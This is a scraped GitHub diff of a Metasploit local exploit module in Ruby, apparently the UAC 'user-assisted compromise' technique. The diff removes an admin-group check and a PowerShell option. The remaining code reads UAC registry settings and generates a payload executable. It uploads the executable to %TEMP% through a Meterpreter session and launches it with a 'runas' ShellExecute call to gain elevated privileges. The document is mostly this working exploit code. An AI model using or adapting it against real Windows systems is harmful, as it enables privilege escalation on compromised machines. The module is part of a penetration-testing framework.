5
5
6
6
require 'msf/core'
7
7
require 'msf/core/exploit/exe'
8
- require 'msf/core/exploit/powershell'
9
8
10
9
class Metasploit3 < Msf ::Exploit ::Local
11
10
Rank = ExcellentRanking
12
11
13
12
include Exploit ::EXE
14
13
include Post ::File
15
- include Exploit ::Powershell
16
14
17
15
def initialize ( info = { } )
18
16
super ( update_info ( info ,
@@ -23,59 +21,27 @@ def initialize(info={})
23
21
UAC settings.
24
22
} ,
25
23
'License' => MSF_LICENSE ,
26
- 'Author' => [
27
- 'mubix' , # Original technique
28
- 'b00stfr3ak' # Added powershell option
29
- ] ,
24
+ 'Author' => [ 'mubix' ] ,
30
25
'Platform' => [ 'win' ] ,
31
26
'SessionTypes' => [ 'meterpreter' ] ,
32
27
'Targets' => [ [ 'Windows' , { } ] ] ,
33
28
'DefaultTarget' => 0 ,
34
29
'References' => [
35
30
[ 'URL' , 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
36
31
] ,
37
- 'DisclosureDate' => "Jan 3 2012" ,
32
+ 'DisclosureDate' => "Jan 3 2012"
38
33
) )
39
34
40
35
register_options ( [
41
36
OptString . new ( "FILENAME" , [ false , "File name on disk" ] ) ,
42
37
OptString . new ( "PATH" , [ false , "Location on disk %TEMP% used if not set" ] ) ,
43
- OptBool . new ( "UPLOAD" , [ true , "Should the payload be uploaded?" , true ] ) ,
44
- OptEnum . new ( "TECHNIQUE" , [ true , "Technique to use" , 'EXE' , [ 'PSH' , 'EXE' ] ] ) ,
38
+ OptBool . new ( "UPLOAD" , [ true , "Should the payload be uploaded?" , true ] )
45
39
] )
46
40
47
41
end
48
42
49
- def check
50
- session . readline
51
- print_status ( 'Checking admin status...' )
52
- whoami = session . sys . process . execute ( 'cmd /c whoami /groups' ,
53
- nil ,
54
- { 'Hidden' => true , 'Channelized' => true }
55
- )
56
- cmdout = [ ]
57
- while ( cmdoutput = whoami . channel . read )
58
- cmdout << cmdoutput
59
- end
60
- if cmdout . size == 0
61
- fail_with ( Exploit ::Failure ::None , "Either whoami is not there or failed to execute" )
62
- else
63
- isinadmins = cmdout . join . scan ( /S-1-5-32-544/ )
64
- if isinadmins . size > 0
65
- print_good ( 'Part of Administrators group! Continuing...' )
66
- return Exploit ::CheckCode ::Vulnerable
67
- else
68
- print_error ( 'Not in admins group, cannot escalate with this module' )
69
- print_error ( 'Exiting...' )
70
- return Exploit ::CheckCode ::Safe
71
- end
72
- end
73
- end
74
43
def exploit
75
- admin_check = check
76
- if admin_check . join =~ /safe/
77
- return Exploit ::CheckCode ::Safe
78
- end
44
+
79
45
root_key , base_key = session . sys . registry . splitkey ( "HKLM\\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Policies\\ System" )
80
46
open_key = session . sys . registry . open_key ( root_key , base_key )
81
47
lua_setting = open_key . query_value ( 'EnableLUA' )
@@ -89,38 +55,44 @@ def exploit
89
55
uac_level = open_key . query_value ( 'ConsentPromptBehaviorAdmin' )
90
56
91
57
case uac_level . data
92
- when 2
93
- print_status "UAC is set to 'Always Notify'"
94
- print_status "The user will be prompted, wait for them to click 'Ok'"
95
- when 5
96
- print_debug "UAC is set to Default"
97
- print_debug "The user will be prompted, wait for them to click 'Ok'"
98
- when 0
99
- print_good "UAC is not enabled, no prompt for the user"
58
+ when 2
59
+ print_status "UAC is set to 'Always Notify'"
60
+ print_status "The user will be prompted, wait for them to click 'Ok'"
61
+ when 5
62
+ print_debug "UAC is set to Default"
63
+ print_debug "The user will be prompted, wait for them to click 'Ok'"
64
+ when 0
65
+ print_good "UAC is not enabled, no prompt for the user"
100
66
end
101
67
68
+
102
69
#
103
70
# Generate payload and random names for upload
104
71
#
105
- case datastore [ "TECHNIQUE" ]
106
- when "EXE"
107
- exe_payload = generate_payload_exe
108
- payload_filename = datastore [ "FILENAME" ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".exe"
109
- payload_path = datastore [ "PATH" ] || expand_path ( "%TEMP%" )
110
- cmd_location = "#{ payload_path } \\ #{ payload_filename } "
111
- if datastore [ "UPLOAD" ]
112
- print_status ( "Uploading #{ payload_filename } - #{ exe_payload . length } bytes to the filesystem..." )
113
- write_file ( cmd_location , exe_payload )
114
- else
115
- #print_error("No Upload Path!")
116
- fail_with ( Exploit ::Failure ::BadConfig , "No Upload Path!" )
117
- return
118
- end
119
- command , args = cmd_location , nil
120
- session . railgun . shell32 . ShellExecuteA ( nil , "runas" , command , args , nil , 5 )
121
- when "PSH"
122
- command , args = "cmd.exe" , " /c #{ cmd_psh_payload ( payload . encoded ) } "
72
+ payload = generate_payload_exe
73
+
74
+ if datastore [ "FILENAME" ]
75
+ payload_filename = datastore [ "FILENAME" ]
76
+ else
77
+ payload_filename = Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".exe"
123
78
end
124
- session . railgun . shell32 . ShellExecuteA ( nil , "runas" , command , args , nil , 5 )
79
+
80
+ if datastore [ "PATH" ]
81
+ payload_path = datastore [ "PATH" ]
82
+ else
83
+ payload_path = session . fs . file . expand_path ( "%TEMP%" )
84
+ end
85
+
86
+ cmd_location = "#{ payload_path } \\ #{ payload_filename } "
87
+
88
+ if datastore [ "UPLOAD" ]
89
+ print_status ( "Uploading #{ payload_filename } - #{ payload . length } bytes to the filesystem..." )
90
+ fd = session . fs . file . new ( cmd_location , "wb" )
91
+ fd . write ( payload )
92
+ fd . close
93
+ end
94
+
95
+ session . railgun . shell32 . ShellExecuteA ( nil , "runas" , cmd_location , nil , nil , 5 )
96
+
125
97
end
126
98
end
0 commit comments